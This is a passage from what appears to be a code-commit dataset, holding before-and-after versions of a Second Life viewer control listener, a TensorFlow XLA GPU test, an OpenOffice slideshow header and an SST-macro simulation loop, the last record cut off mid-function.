_1));\n#endif \/\/ 0\n}\n\n\/\/static\nvoid LLViewerControlListener::set(LLControlGroup * controls, LLSD const & event_data)\n{\n\tif(event_data.has(\"key\"))\n\t{\n\t\tstd::string key(event_data[\"key\"]);\n\n\t\tif(controls->controlExists(key))\n\t\t{\n\t\t\tcontrols->setUntypedValue(key, event_data[\"value\"]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tllwarns << \"requested unknown control: \\\"\" << key << '\\\"' << llendl;\n\t\t}\n\t}\n}\n\n\/\/static\nvoid LLViewerControlListener::toggleControl(LLControlGroup * controls, LLSD const & event_data)\n{\n\tif(event_data.has(\"key\"))\n\t{\n\t\tstd::string key(event_data[\"key\"]);\n\n\t\tif(controls->controlExists(key))\n\t\t{\n\t\t\tLLControlVariable * control = controls->getControl(key);\n\t\t\tif(control->isType(TYPE_BOOLEAN))\n\t\t\t{\n\t\t\t\tcontrol->set(!control->get().asBoolean());\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tllwarns << \"requested toggle of non-boolean control: \\\"\" << key << \"\\\", type is \" << control->type() << llendl;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tllwarns << \"requested unknown control: \\\"\" << key << '\\\"' << llendl;\n\t\t}\n\t}\n}\n\n\/\/static\nvoid LLViewerControlListener::setDefault(LLControlGroup * controls, LLSD const & event_data)\n{\n\tif(event_data.has(\"key\"))\n\t{\n\t\tstd::string key(event_data[\"key\"]);\n\n\t\tif(controls->controlExists(key))\n\t\t{\n\t\t\tLLControlVariable * control = controls->getControl(key);\n\t\t\tcontrol->resetToDefault();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tllwarns << \"requested unknown control: \\\"\" << key << '\\\"' << llendl;\n\t\t}\n\t}\n}\n<commit_msg>Oops, copy\/paste error in the llviewercontrol.cpp file top level comments.<commit_after>\/**\n * @file llviewercontrollistener.cpp\n * @author Brad Kittenbrink\n * @date 2009-07-09\n * @brief Implementation for llviewercontrollistener.\n * \n * $LicenseInfo:firstyear=2009&license=viewergpl$\n * Copyright (c) 2009, Linden Research, Inc.\n * $\/LicenseInfo$\n *\/\n\n#include \"llviewerprecompiledheaders.h\"\n\n#include \"llviewercontrollistener.h\"\n\n#include \"llviewercontrol.h\"\n\nLLViewerControlListener gSavedSettingsListener;\n\nLLViewerControlListener::LLViewerControlListener()\n\t: LLDispatchListener(\"LLViewerControl\", \"group\")\n{\n\tadd(\"Global\", boost::bind(&LLViewerControlListener::set, &gSavedSettings, _1));\n\tadd(\"Skin\", boost::bind(&LLViewerControlListener::set, &gSavedSkinSettings, _1));\n\tadd(\"PerAccount\", boost::bind(&LLViewerControlListener::set, &gSavedPerAccountSettings, _1));\n\tadd(\"Warning\", boost::bind(&LLViewerControlListener::set, &gWarningSettings, _1));\n\tadd(\"Crash\", boost::bind(&LLViewerControlListener::set, &gCrashSettings, _1));\n\n#if 0\n\tadd(\/*\"toggleControl\",*\/ \"Global\", boost::bind(&LLViewerControlListener::toggleControl, &gSavedSettings, _1));\n\tadd(\/*\"toggleControl\",*\/ \"Skin\", boost::bind(&LLViewerControlListener::toggleControl, &gSavedSkinSettings, _1));\n\tadd(\/*\"toggleControl\",*\/ \"PerAccount\", boost::bind(&LLViewerControlListener::toggleControl, &gSavedPerAccountSettings, _1));\n\tadd(\/*\"toggleControl\",*\/ \"Warning\", boost::bind(&LLViewerControlListener::toggleControl, &gWarningSettings, _1));\n\tadd(\/*\"toggleControl\",*\/ \"Crash\", boost::bind(&LLViewerControlListener::toggleControl, &gCrashSettings, _1));\n\n\tadd(\/*\"setDefault\",*\/ \"Global\", boost::bind(&LLViewerControlListener::setDefault, &gSavedSettings, _1));\n\tadd(\/*\"setDefault\",*\/ \"Skin\", boost::bind(&LLViewerControlListener::setDefault, &gSavedSkinSettings, _1));\n\tadd(\/*\"setDefault\",*\/ \"PerAccount\", boost::bind(&LLViewerControlListener::setDefault, &gSavedPerAccountSettings, _1));\n\tadd(\/*\"setDefault\",*\/ \"Warning\", boost::bind(&LLViewerControlListener::setDefault, &gWarningSettings, _1));\n\tadd(\/*\"setDefault\",*\/ \"Crash\", boost::bind(&LLViewerControlListener::setDefault, &gCrashSettings, _1));\n#endif \/\/ 0\n}\n\n\/\/static\nvoid LLViewerControlListener::set(LLControlGroup * controls, LLSD const & event_data)\n{\n\tif(event_data.has(\"key\"))\n\t{\n\t\tstd::string key(event_data[\"key\"]);\n\n\t\tif(controls->controlExists(key))\n\t\t{\n\t\t\tcontrols->setUntypedValue(key, event_data[\"value\"]);\n\t\t}\n\t\telse\n\t\t{\n\t\t\tllwarns << \"requested unknown control: \\\"\" << key << '\\\"' << llendl;\n\t\t}\n\t}\n}\n\n\/\/static\nvoid LLViewerControlListener::toggleControl(LLControlGroup * controls, LLSD const & event_data)\n{\n\tif(event_data.has(\"key\"))\n\t{\n\t\tstd::string key(event_data[\"key\"]);\n\n\t\tif(controls->controlExists(key))\n\t\t{\n\t\t\tLLControlVariable * control = controls->getControl(key);\n\t\t\tif(control->isType(TYPE_BOOLEAN))\n\t\t\t{\n\t\t\t\tcontrol->set(!control->get().asBoolean());\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tllwarns << \"requested toggle of non-boolean control: \\\"\" << key << \"\\\", type is \" << control->type() << llendl;\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tllwarns << \"requested unknown control: \\\"\" << key << '\\\"' << llendl;\n\t\t}\n\t}\n}\n\n\/\/static\nvoid LLViewerControlListener::setDefault(LLControlGroup * controls, LLSD const & event_data)\n{\n\tif(event_data.has(\"key\"))\n\t{\n\t\tstd::string key(event_data[\"key\"]);\n\n\t\tif(controls->controlExists(key))\n\t\t{\n\t\t\tLLControlVariable * control = controls->getControl(key);\n\t\t\tcontrol->resetToDefault();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tllwarns << \"requested unknown control: \\\"\" << key << '\\\"' << llendl;\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/tests\/gpu_codegen_test.h\"\n#include \"tensorflow\/compiler\/xla\/tests\/hlo_test_base.h\"\n\nnamespace xla {\nnamespace gpu {\nnamespace {\n\nclass KernelThunkTest : public GpuCodegenTest {};\n\nTEST_F(KernelThunkTest, Basic) {\n const char* hlo_text = R\"(\n HloModule Test\n\n add_F32 {\n lhs = f32[] parameter(0)\n rhs = f32[] parameter(1)\n ROOT add = f32[] add(lhs, rhs)\n }\n\n ENTRY main {\n a = f32[2, 2]{1,0} parameter(0)\n b = f32[2, 2]{1,0} parameter(1)\n ROOT r1 = f32[2, 2]{1,0} map(a, b), dimensions={0, 1}, to_apply=add_F32\n }\n )\";\n\n EXPECT_TRUE(RunAndCompare(hlo_text, ErrorSpec{1e-5, 1e-5}));\n}\n\nTEST_F(KernelThunkTest, KernelWithConstants) {\n const char* hlo_text = R\"(\n HloModule Test\n\n add_F32 {\n lhs = f32[] parameter(0)\n rhs = f32[] parameter(1)\n ROOT add = f32[] add(lhs, rhs)\n }\n\n ENTRY main {\n a = f32[2, 2]{1,0} constant({{1, 2}, {3, 4}})\n b = f32[2, 2]{1,0} constant({{5, 6}, {7, 8}})\n ROOT r1 = f32[2, 2]{1,0} map(a, b), dimensions={0, 1}, to_apply=add_F32\n }\n )\";\n\n EXPECT_TRUE(RunAndCompare(hlo_text, ErrorSpec{1e-5, 1e-5}));\n}\n\n} \/\/ namespace\n} \/\/ namespace gpu\n} \/\/ namespace xla\n<commit_msg>Fixes for kernel thunk whole-program lowering.<commit_after>\/* Copyright 2021 The TensorFlow Authors. All Rights Reserved.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n==============================================================================*\/\n\n#include \"tensorflow\/compiler\/xla\/service\/gpu\/tests\/gpu_codegen_test.h\"\n#include \"tensorflow\/compiler\/xla\/tests\/hlo_test_base.h\"\n\nnamespace xla {\nnamespace gpu {\nnamespace {\n\nclass KernelThunkTest : public GpuCodegenTest {};\n\nTEST_F(KernelThunkTest, Basic) {\n const char* hlo_text = R\"(\n HloModule Test1\n\n add_F32 {\n lhs = f32[] parameter(0)\n rhs = f32[] parameter(1)\n ROOT add = f32[] add(lhs, rhs)\n }\n\n ENTRY Test1 {\n a = f32[2, 2]{1,0} parameter(0)\n b = f32[2, 2]{1,0} parameter(1)\n ROOT r1 = f32[2, 2]{1,0} map(a, b), dimensions={0, 1}, to_apply=add_F32\n }\n )\";\n\n EXPECT_TRUE(RunAndCompare(hlo_text, ErrorSpec{1e-5, 1e-5}));\n}\n\nTEST_F(KernelThunkTest, KernelWithConstants) {\n const char* hlo_text = R\"(\n HloModule Test2\n\n add_F32 {\n lhs = f32[] parameter(0)\n rhs = f32[] parameter(1)\n ROOT add = f32[] add(lhs, rhs)\n }\n\n ENTRY Test2 {\n a = f32[2, 2]{1,0} constant({{1, 2}, {3, 4}})\n b = f32[2, 2]{1,0} constant({{5, 6}, {7, 8}})\n ROOT r1 = f32[2, 2]{1,0} map(a, b), dimensions={0, 1}, to_apply=add_F32\n }\n )\";\n\n EXPECT_TRUE(RunAndCompare(hlo_text, ErrorSpec{1e-5, 1e-5}));\n}\n\n} \/\/ namespace\n} \/\/ namespace gpu\n} \/\/ namespace xla\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: simplecontinuousactivitybase.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: rt $ $Date: 2005-09-07 20:37:59 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _SLIDESHOW_SIMPLECONTINUOUSACTIVITYBASE_HXX\n#define _SLIDESHOW_SIMPLECONTINUOUSACTIVITYBASE_HXX\n\n#include <activitybase.hxx>\n#include <canvas\/elapsedtime.hxx>\n\nnamespace presentation\n{\n namespace internal\n {\n \/** Simple, continuous animation.\n\n This class implements a simple, continuous animation\n without considering repeats or acceleration on the\n perform call. Only useful as a base class, you\n probably want to use ContinuousActivityBase.\n *\/\n class SimpleContinuousActivityBase : public ActivityBase\n {\n public:\n SimpleContinuousActivityBase( const ActivityParameters& rParms );\n\n virtual double calcTimeLag() const;\n\n virtual bool perform();\n virtual void dequeued();\n\n protected:\n \/** Hook for derived classes\n\n This method will be called from perform().\n\n @param nSimpleTime\n Simple animation time, without repeat,\n acceleration or deceleration applied. This value\n is always in the [0,1] range, the repeat is\n accounted for with the nRepeatCount parameter.\n\n @param nRepeatCount\n Number of full repeats already performed\n *\/\n virtual void simplePerform( double nSimpleTime, sal_uInt32 nRepeatCount ) const = 0;\n\n virtual void startAnimation();\n\n private:\n \/\/\/ Time elapsed since activity started\n ::canvas::tools::ElapsedTime maTimer;\n\n \/\/\/ Simple duration of activity\n const double mnMinSimpleDuration;\n\n \/\/\/ Minimal number of frames to show (see ActivityParameters)\n const sal_uInt32 mnMinNumberOfFrames;\n\n \/\/\/ Actual number of frames shown until now.\n sal_uInt32 mnCurrPerformCalls;\n };\n }\n}\n\n#endif \/* _SLIDESHOW_SIMPLECONTINUOUSACTIVITYBASE_HXX *\/\n<commit_msg>INTEGRATION: CWS presfixes08 (1.3.24); FILE MERGED 2005\/08\/08 09:36:54 dbo 1.3.24.1: #i45197# dequeued() -> ActivityBase added end() Issue number: Submitted by: Reviewed by:<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: simplecontinuousactivitybase.hxx,v $\n *\n * $Revision: 1.5 $\n *\n * last change: $Author: obo $ $Date: 2005-10-11 08:41:36 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef _SLIDESHOW_SIMPLECONTINUOUSACTIVITYBASE_HXX\n#define _SLIDESHOW_SIMPLECONTINUOUSACTIVITYBASE_HXX\n\n#include <activitybase.hxx>\n#include <canvas\/elapsedtime.hxx>\n\nnamespace presentation\n{\n namespace internal\n {\n \/** Simple, continuous animation.\n\n This class implements a simple, continuous animation\n without considering repeats or acceleration on the\n perform call. Only useful as a base class, you\n probably want to use ContinuousActivityBase.\n *\/\n class SimpleContinuousActivityBase : public ActivityBase\n {\n public:\n SimpleContinuousActivityBase( const ActivityParameters& rParms );\n\n virtual double calcTimeLag() const;\n virtual bool perform();\n\n protected:\n \/** Hook for derived classes\n\n This method will be called from perform().\n\n @param nSimpleTime\n Simple animation time, without repeat,\n acceleration or deceleration applied. This value\n is always in the [0,1] range, the repeat is\n accounted for with the nRepeatCount parameter.\n\n @param nRepeatCount\n Number of full repeats already performed\n *\/\n virtual void simplePerform( double nSimpleTime, sal_uInt32 nRepeatCount ) const = 0;\n\n virtual void startAnimation();\n\n private:\n \/\/\/ Time elapsed since activity started\n ::canvas::tools::ElapsedTime maTimer;\n\n \/\/\/ Simple duration of activity\n const double mnMinSimpleDuration;\n\n \/\/\/ Minimal number of frames to show (see ActivityParameters)\n const sal_uInt32 mnMinNumberOfFrames;\n\n \/\/\/ Actual number of frames shown until now.\n sal_uInt32 mnCurrPerformCalls;\n };\n }\n}\n\n#endif \/* _SLIDESHOW_SIMPLECONTINUOUSACTIVITYBASE_HXX *\/\n<|endoftext|>"} {"text":"<commit_before>#include \"boxml.h\"\n#include <algorithm>\n#include <ctime>\n#include <sst\/sumi_api.h>\n\nusing namespace std;\nusing namespace sstmac;\n\n\nnamespace lblxml\n{\n int boxml::count_events () {\n int ret = g_rank_to_comps[rank_].size()\n + g_rank_to_sends[rank_].size()\n + g_rank_to_recvs[rank_].size()\n + g_rank_to_allreduces[rank_].size();\n return ret;\n }\n\n bool boxml::send_boxes(int& n_events) {\n SSTMACBacktrace(\"send boxes\");\n \/\/ any sends ready?\n da_list_t& v_sends(g_rank_to_valid_sends[rank_]);\n set_t& my_sends(g_rank_to_sends[rank_]);\n int n_send = v_sends.size();\n if (randomize_events_)\n std::random_shuffle(v_sends.begin(), v_sends.end());\n int n_sent = 0;\n while (!v_sends.empty()) {\n comm_t* sendptr = static_cast<comm_t*>(g_events[v_sends.front()]);\n comm_t& send = *sendptr;\n if (send.n_dep() == 0) { \/\/ abundance of caution\n \/\/int count = send.size();\n int count = 0;\n int dest_box = send.to();\n int dest = g_boxindex_to_rank[ dest_box ];\n int index = send.index();\n if( dest != rank_ ) {\n ++n_sent;\n if (debug_ > 0)\n std::cerr << \"boxml: rank \" << rank_ << \" sending message \" << index << \" to rank \" << dest << \"\\n\";\n pt2pt_message::ptr mess = new pt2pt_message(index,count);\n comm_rdma_put(dest, mess);\n }\n else {\n simple_event_done(index);\n }\n my_sends.erase(send.index());\n v_sends.pop_front();\n }\n else {\n std::cerr << \"error: valid send has n_deps > 0\\n\";\n abort();\n }\n }\n\n int old_n_events = n_events;\n n_events -= n_sent;\n \/\/events aren't tracked properly anymore\n if (0) {\n cout << \"Rank \" << rank_ << \" posted \" << n_sent << \" sends\\n\";\n if (n_send > 0) {\n int temp_n = count_events();\n if (temp_n != n_events) {\n std::cerr << \"send_boxes: n_events \" << n_events << \" doesn't match count_events() \"\n << temp_n << \"\\n\";\n abort();\n }\n cout << \"Rank \" << rank_ << \" after send processing, \"\n << \" continuing while loop with \" << n_events\n << \" events remaining (delta=\" << n_events - old_n_events\n << \")\\n\";\n }\n }\n\n if (n_sent > 0)\n return true;\n return false;\n }\n\n \/**\n * @brief boxml::reduce\n * @param n_events [IN,OUT] Number of outstanding events - decrement\n * @return\n *\/\n bool boxml::reduce(int& n_events) {\n SSTMACBacktrace(\"reduce\");\n int n_allreduce = valid_allreduces_.size();\n while (!valid_allreduces_.empty()) {\n index_box_pair_t pair = valid_allreduces_.front();\n valid_allreduces_.pop();\n int index = pair.first;\n int box_number = pair.second;\n event* ev = g_events[index];\n reduce_t* comm = static_cast<reduce_t*>(ev);\n int my_domain_rank = comm->domain_rank(box_number);\n const int* boxes = comm->box_array();\n sumi::domain* dom = new box_domain(my_domain_rank, comm->nboxes(), boxes, g_boxindex_to_rank.data());\n\n int count = comm->size();\n if (debug_ > 0)\n std::cerr << \"boxml: rank \" << rank_ << \" starting allreduce \" << ev->id() << \" for box \" << box_number << \"\\n\";\n sumi::comm_allreduce<double,sumi::Add>(NULL, NULL, count, index,\n false, sumi::options::initial_context, dom);\n }\n return n_allreduce > 0;\n }\n\n bool boxml::compute_boxes(int& n_events) {\n SSTMACBacktrace(\"compute boxes\");\n da_list_t& v_comps(g_rank_to_valid_comps[rank_]);\n set_t& my_comps(g_rank_to_comps[rank_]);\n int n_comp = v_comps.size();\n\n if (n_comp) {\n if (randomize_events_)\n std::random_shuffle(v_comps.begin(), v_comps.end());\n\n comp_t* compptr = static_cast<comp_t*>(g_events[v_comps.front()]);\n comp_t& comp = *compptr;\n if (comp.n_dep() == 0) { \/\/ Abundance of caution\n if (do_compute_) {\n compute( timestamp( compute_scale_ * comp.time() ));\n }\n if (debug_ > 0) {\n cout << \"boxml: rank \" << rank_ << \": all deps satisfied, performing compute \"\n << comp.id() << \" on \" << rank_ << \"\\n\";\n }\n my_comps.erase(comp.index());\n v_comps.pop_front();\n simple_event_done(comp.index());\n n_events -= 1; \/\/I only do one compute at a time\n }\n else {\n spkt_throw_printf(sprockit::value_error,\n \"valid compute event %d still has %d deps\",\n comp.index(), comp.n_dep());\n }\n }\n\n n_comp = min(n_comp,1);\n int old_n_events = n_events;\n \/\/ events aren't properly tracked anymore\n if (0) {\n cout << \"Rank \" << rank_ << \" completed \" << n_comp << \" computes\\n\";\n if (n_comp) {\n int temp_n = count_events();\n if (temp_n != n_events) {\n std::cerr << \"compute_boxes: n_events doesn't match count_events()\\n\";\n abort();\n }\n cout << \"Rank \" << rank_ << \" after compute processing, \"\n << \" continuing while loop with \" << n_events\n << \" events remaining (delta=\" << n_events - old_n_events\n << \")\\n\";\n }\n }\n if (n_comp > 0)\n return true;\n return false;\n }\n\n void boxml::recv_boxes(int& n_events)\n {\n SSTMACBacktrace(\"recv boxes\");\n sumi::message::ptr dmess = sumi::comm_poll();\n switch (dmess->class_type()){\n case sumi::message::pt2pt:\n {\n if (debug_ > 0)\n std::cerr << \"boxml: rank \" << rank_ << \" receiving pt2pt message\\n\";\n pt2pt_message::ptr pmess = ptr_safe_cast(pt2pt_message, dmess);\n simple_event_done(pmess->event_index());\n break;\n }\n case sumi::message::collective_done:\n {\n sumi::collective_done_message::ptr cmess = ptr_safe_cast(sumi::collective_done_message, dmess);\n box_domain* dom = static_cast<box_domain*>(cmess->dom());\n int my_box_number = dom->my_box_number();\n if (debug_ > 0)\n std::cerr << \"boxml: rank \" << rank_ << \" receiving collective_done message for \" << cmess->tag() << \"\\n\";\n collective_done(my_box_number, cmess->tag());\n \/\/for now, we dynamically create domains - delete it\n delete dom;\n break;\n }\n default:\n {\n spkt_throw_printf(sprockit::value_error,\n \"got invalid message type %s\",\n sumi::message::tostr(dmess->class_type()));\n }\n }\n\n int old_n_events = n_events;\n --n_events;\n \/\/ events aren't properly tracked anymore\n if (0) {\n cout << \"Rank \" << rank_ << \" handled receive\\n\";\n int temp_n = count_events();\n if (temp_n != n_events) {\n std::cerr << \"recv_boxes: n_events \" << n_events << \" doesn't match count_events() \"\n << temp_n << \"\\n\";\n abort();\n }\n cout << \"Rank \" << rank_ << \" after recv processing, \"\n << \" continuing while loop with \" << n_events\n << \" events remaining (delta=\" << n_events - old_n_events\n << \")\\n\";\n }\n }\n\n void boxml::run_loop() {\n SSTMACBacktrace(\"run loop\"); \n\n \/\/std::cerr << \"Rank 0 entering run loop with \"\n \/\/ << g_rank_to_recvs[0].size() << \" recvs\\n\";\n if (debug_ > 0) cout << \"Rank \" << rank_ << \" entering run loop with \"\n << g_rank_to_recvs[rank_].size() << \" recvs\\n\";\n\n \/\/ Loop until no elements left\n int total_events = count_events();\n int n_events = total_events;\n int q_events = total_events\/4;\n bool q1 = false, q2 = false, q3 = false;\n while (n_events > 0) {\n bool doloop = true;\n \/\/while (doloop) {\n\n if (debug_ > 0 || detailed_progress_ ) {\n if (n_events < 3 * q_events && q1 == false) {\n cout << \"Rank \" << rank_ << \" 25% complete\\n\";\n q1 = true;\n }\n if (n_events < 2 * q_events && q2 == false) {\n cout << \"Rank \" << rank_ << \" 50% complete\\n\";\n q2 = true;\n }\n if (n_events < q_events && q3 == false) {\n cout << \"Rank \" << rank_ << \" 75% complete\\n\";\n q3 = true;\n }\n }\n else if (rank_ == 0) {\n if (n_events < 3 * q_events && q1 == false) {\n cout << \"Rank 0 25% complete\\n\";\n q1 = true;\n }\n if (n_events < 2 * q_events && q2 == false) {\n cout << \"Rank 0 50% complete\\n\";\n q2 = true;\n }\n if (n_events < q_events && q3 == false) {\n cout << \"Rank 0 75% complete\\n\";\n q3 = true;\n }\n }\n\n if(detailed_progress_ && rank_ == 0) {\n cout << \"Rank 0 completed \" << total_events - n_events << \" of \" << total_events\n << \" events\\n\";\n cout << std::flush;\n cerr << std::flush;\n }\n\n \/\/std::cerr << \"Rank before send boxes with \"\n \/\/ << g_rank_to_recvs[0].size() << \" recvs\\n\";\n\n bool skip_to_next_loop = send_boxes(n_events);\n if (skip_to_next_loop)\n continue;\n\n \/\/std::cerr << \"Rank before compute boxes with \"\n \/\/ << g_rank_to_recvs[0].size() << \" recvs\\n\";\n\n skip_to_next_loop = compute_boxes(n_events);\n if (skip_to_next_loop)\n continue;\n\n \/\/std::cerr << \"Rank before reduce with \"\n \/\/ << g_rank_to_recvs[0].size() << \" recvs\\n\";\n\n skip_to_next_loop = reduce(n_events);\n if (skip_to_next_loop)\n continue;\n\n \/\/std::cerr << \"Rank before recv with \"\n \/\/ << g_rank_to_recvs[0].size() << \" recvs\\n\";\n\n recv_boxes(n_events);\n\n \/\/if( n_events == count_events())\n \/\/ sstmac_usleep(1000);\n\n doloop = false;\n }\n\n if (debug_ > 0)\n cout << \"Rank \" << rank_ << \" completed run loop\\n\";\n\n }\n\n}\n<commit_msg>remove debugging hack from boxml<commit_after>#include \"boxml.h\"\n#include <algorithm>\n#include <ctime>\n#include <sst\/sumi_api.h>\n\nusing namespace std;\nusing namespace sstmac;\n\n\nnamespace lblxml\n{\n int boxml::count_events () {\n int ret = g_rank_to_comps[rank_].size()\n + g_rank_to_sends[rank_].size()\n + g_rank_to_recvs[rank_].size()\n + g_rank_to_allreduces[rank_].size();\n return ret;\n }\n\n bool boxml::send_boxes(int& n_events) {\n SSTMACBacktrace(\"send boxes\");\n \/\/ any sends ready?\n da_list_t& v_sends(g_rank_to_valid_sends[rank_]);\n set_t& my_sends(g_rank_to_sends[rank_]);\n int n_send = v_sends.size();\n if (randomize_events_)\n std::random_shuffle(v_sends.begin(), v_sends.end());\n int n_sent = 0;\n while (!v_sends.empty()) {\n comm_t* sendptr = static_cast<comm_t*>(g_events[v_sends.front()]);\n comm_t& send = *sendptr;\n if (send.n_dep() == 0) { \/\/ abundance of caution\n int count = send.size();\n int dest_box = send.to();\n int dest = g_boxindex_to_rank[ dest_box ];\n int index = send.index();\n if( dest != rank_ ) {\n ++n_sent;\n if (debug_ > 0)\n std::cerr << \"boxml: rank \" << rank_ << \" sending message \" << index << \" to rank \" << dest << \"\\n\";\n pt2pt_message::ptr mess = new pt2pt_message(index,count);\n comm_rdma_put(dest, mess);\n }\n else {\n simple_event_done(index);\n }\n my_sends.erase(send.index());\n v_sends.pop_front();\n }\n else {\n std::cerr << \"error: valid send has n_deps > 0\\n\";\n abort();\n }\n }\n\n int old_n_events = n_events;\n n_events -= n_sent;\n \/\/events aren't tracked properly anymore\n if (0) {\n cout << \"Rank \" << rank_ << \" posted \" << n_sent << \" sends\\n\";\n if (n_send > 0) {\n int temp_n = count_events();\n if (temp_n != n_events) {\n std::cerr << \"send_boxes: n_events \" << n_events << \" doesn't match count_events() \"\n << temp_n << \"\\n\";\n abort();\n }\n cout << \"Rank \" << rank_ << \" after send processing, \"\n << \" continuing while loop with \" << n_events\n << \" events remaining (delta=\" << n_events - old_n_events\n << \")\\n\";\n }\n }\n\n if (n_sent > 0)\n return true;\n return false;\n }\n\n \/**\n * @brief boxml::reduce\n * @param n_events [IN,OUT] Number of outstanding events - decrement\n * @return\n *\/\n bool boxml::reduce(int& n_events) {\n SSTMACBacktrace(\"reduce\");\n int n_allreduce = valid_allreduces_.size();\n while (!valid_allreduces_.empty()) {\n index_box_pair_t pair = valid_allreduces_.front();\n valid_allreduces_.pop();\n int index = pair.first;\n int box_number = pair.second;\n event* ev = g_events[index];\n reduce_t* comm = static_cast<reduce_t*>(ev);\n int my_domain_rank = comm->domain_rank(box_number);\n const int* boxes = comm->box_array();\n sumi::domain* dom = new box_domain(my_domain_rank, comm->nboxes(), boxes, g_boxindex_to_rank.data());\n\n int count = comm->size();\n if (debug_ > 0)\n std::cerr << \"boxml: rank \" << rank_ << \" starting allreduce \" << ev->id() << \" for box \" << box_number << \"\\n\";\n sumi::comm_allreduce<double,sumi::Add>(NULL, NULL, count, index,\n false, sumi::options::initial_context, dom);\n }\n return n_allreduce > 0;\n }\n\n bool boxml::compute_boxes(int& n_events) {\n SSTMACBacktrace(\"compute boxes\");\n da_list_t& v_comps(g_rank_to_valid_comps[rank_]);\n set_t& my_comps(g_rank_to_comps[rank_]);\n int n_comp = v_comps.size();\n\n if (n_comp) {\n if (randomize_events_)\n std::random_shuffle(v_comps.begin(), v_comps.end());\n\n comp_t* compptr = static_cast<comp_t*>(g_events[v_comps.front()]);\n comp_t& comp = *compptr;\n if (comp.n_dep() == 0) { \/\/ Abundance of caution\n if (do_compute_) {\n compute( timestamp( compute_scale_ * comp.time() ));\n }\n if (debug_ > 0) {\n cout << \"boxml: rank \" << rank_ << \": all deps satisfied, performing compute \"\n << comp.id() << \" on \" << rank_ << \"\\n\";\n }\n my_comps.erase(comp.index());\n v_comps.pop_front();\n simple_event_done(comp.index());\n n_events -= 1; \/\/I only do one compute at a time\n }\n else {\n spkt_throw_printf(sprockit::value_error,\n \"valid compute event %d still has %d deps\",\n comp.index(), comp.n_dep());\n }\n }\n\n n_comp = min(n_comp,1);\n int old_n_events = n_events;\n \/\/ events aren't properly tracked anymore\n if (0) {\n cout << \"Rank \" << rank_ << \" completed \" << n_comp << \" computes\\n\";\n if (n_comp) {\n int temp_n = count_events();\n if (temp_n != n_events) {\n std::cerr << \"compute_boxes: n_events doesn't match count_events()\\n\";\n abort();\n }\n cout << \"Rank \" << rank_ << \" after compute processing, \"\n << \" continuing while loop with \" << n_events\n << \" events remaining (delta=\" << n_events - old_n_events\n << \")\\n\";\n }\n }\n if (n_comp > 0)\n return true;\n return false;\n }\n\n void boxml::recv_boxes(int& n_events)\n {\n SSTMACBacktrace(\"recv boxes\");\n sumi::message::ptr dmess = sumi::comm_poll();\n switch (dmess->class_type()){\n case sumi::message::pt2pt:\n {\n if (debug_ > 0)\n std::cerr << \"boxml: rank \" << rank_ << \" receiving pt2pt message\\n\";\n pt2pt_message::ptr pmess = ptr_safe_cast(pt2pt_message, dmess);\n simple_event_done(pmess->event_index());\n break;\n }\n case sumi::message::collective_done:\n {\n sumi::collective_done_message::ptr cmess = ptr_safe_cast(sumi::collective_done_message, dmess);\n box_domain* dom = static_cast<box_domain*>(cmess->dom());\n int my_box_number = dom->my_box_number();\n if (debug_ > 0)\n std::cerr << \"boxml: rank \" << rank_ << \" receiving collective_done message for \" << cmess->tag() << \"\\n\";\n 